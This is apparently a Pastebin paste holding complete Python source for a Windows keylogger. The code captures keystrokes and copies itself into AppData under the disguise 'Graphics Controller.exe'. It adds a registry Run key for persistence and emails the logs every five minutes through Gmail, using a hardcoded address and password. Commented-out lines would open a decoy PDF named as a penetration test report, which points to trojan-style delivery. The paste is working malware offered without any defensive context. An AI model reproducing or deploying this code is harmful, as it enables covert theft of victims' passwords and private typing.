Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import subprocess, smtplib, threading, os, sys, shutil
- from email.mime.text import MIMEText
- from pynput import keyboard
- class Keylogger:
- def __init__(self, time_interval):
- self.become_persistance()
- self.log = "Keylogger Started"
- self.interval = time_interval
- def become_persistance(self):
- evil_file_location = os.environ["appdata"] + "\\Graphics Controller.exe"
- if not os.path.exists(evil_file_location):
- shutil.copyfile(sys.executable, evil_file_location)
- subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d "' + evil_file_location + '"', shell=True)
- def process_key_press(self, key):
- try:
- self.log += str(key.char)
- except AttributeError:
- if key == key.space:
- self.log += " "
- else:
- self.log += "<" + str(key) + ">"
- def machine_user(self):
- DEVNULL = open(os.devnull, 'wb')
- user = subprocess.check_output("whoami", shell=True, stderr=DEVNULL, stdin=DEVNULL)
- return user.decode('ISO-8859-1')
- def send_mail(self, from_email, to_email, subject, message, password):
- msg = MIMEText(message)
- msg['From'] = from_email
- msg['To'] = to_email
- msg['Subject'] = subject
- server = smtplib.SMTP("smtp.gmail.com", 587)
- server.starttls()
- server.login(from_email, password)
- server.sendmail(from_email, [to_email], msg.as_string())
- server.quit()
- def report(self):
- user = self.machine_user()
- try:
- self.send_mail("pie.key.logger.pie@gmail.com", "pie.key.logger.pie@gmail.com", user, self.log, "cxwodyvtacalemmm")
- except:
- pass
- self.log = ""
- timer = threading.Timer(self.interval, self.report)
- timer.start()
- def start(self):
- keyboard_listener = keyboard.Listener(on_press=self.process_key_press)
- with keyboard_listener:
- self.report()
- keyboard_listener.join()
- #file_name = os.path.abspath(".") + "\\Web Penetration Test Report.pdf"
- #subprocess.Popen(file_name)
- #if getattr(sys, 'frozen', False):
- # bundle_dir = sys._MEIPASS
- #else:
- # bundle_dir = os.path.dirname(os.path.abspath("."))
- #exe = os.path.join(bundle_dir, "Web Penetration Test Report.pdf")
- #os.system(exe)
- try:
- pie_key_logger = Keylogger(300)
- pie_key_logger.start()
- except:
- sys.exit()
Add Comment
Please, Sign In to add comment